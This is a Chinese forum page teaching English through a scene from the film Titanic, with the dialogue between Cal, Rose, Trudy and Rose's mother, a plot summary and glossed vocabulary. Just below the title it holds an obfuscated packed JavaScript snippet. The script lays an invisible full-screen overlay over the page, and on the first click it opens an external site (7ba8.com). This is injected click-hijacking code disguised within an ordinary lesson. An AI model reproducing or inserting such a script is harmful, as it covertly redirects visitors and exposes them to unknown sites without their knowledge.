Titanic《泰坦尼克号》精讲之三

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>本片段剧情:卡尔知道了罗丝和杰克在三等舱约会,非常愤怒,当面训斥罗丝,要求她忠于自己。罗丝的母亲知道后也让她今后不要再见杰克,给她讲清楚只有嫁给卡尔才能保住家族,罗丝陷入了痛苦的抉择。


精彩对白
Waiter: Coffee, sir?
Cal: I had hoped you would come to me last night.
Rose: I was tired.
Cal: Your exertions below decks were, no doubt, exhausting.
Rose: I see you had that undertaker of a manservant follow me. How typical.
Cal: You will never behave like that again, Rose, do you understand?
Rose: I'm not a foreman in one of your mills that you can command. I'm your fiancee.
Cal: My fiancee! Yes, you are, and my wife! My wife in practice, if not yet by law. So you will honor me. You'll honor me the way a wife is required to honor her husband. Because I will not be made out a fool, Rose. Is this in any way unclear?
Rose: No.
Cal: Good. Excuse me.
Trudy: Miss Rose.
Rose: We had a little accident.
Trudy: That's all right, Miss Rose.
Rose: Sorry, Trudy.
Trudy: It's all right.
Rose: Let me help you.
Trudy: It's all right, miss. It's all right, miss.
Mother: Tea, Trudy.
Trudy: Yes, ma'am.
Mother: You are not to see that boy again. Do you understand me? Rose, I forbid it.
Rose: Stop it, Mother. You'll give yourself a nosebleed.
Mother: This is not a game. Our situation is precarious. You know the money's gone.
Rose: Of course I know it's gone. You remind me every day.
Mother: Your father left us nothing but a legacy of bad debts hidden by a good name. That name is the only card we have to play. I don't understand you. It is a fine match with Hockley. It will ensure our survival.
Rose: How can you put this on my shoulders?
Mother: Why are you being so selfish?
Rose: I'm being selfish?
Mother: Do you want to see me working as a seamstress? Is that what you want? To see our fine things sold at auction? Our memories scattered to the winds?
Rose: It's so unfair.
Mother: Of course it's unfair. We're women. Our choices are never easy.
妙语佳句 活学活用
1. exertion: 努力,费力
She failed to unlock the safe in spite of all her exertions.(她虽然费尽力气,仍未能将那保险箱的锁打开。 )
2. manservant: 男仆,仆役女仆则是maidservant
3.foreman: 领班,工头
foreman也可以指陪审团主席
The foreman stated that the jury found the defendant not guilty.(陪审团主席宣布说陪审团认定被告无罪。)
4. in any way: 以任何方式,无论如何
By the way, must we guarantee in any way our participation in the tender?(顺便问一下,我们应为参加投标做一点保证吗?)
5. nosebleed: 流鼻血。罗丝这里是说:你可别气坏了。
6. bad debts: 坏账,收不回的账
Out of the profit, the company have retain 50,000 as provision against bad debt.(公司从利润中留出50000英镑以对付呆(坏)帐。)
7. seamstress: 女裁缝,做针线活的女工
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部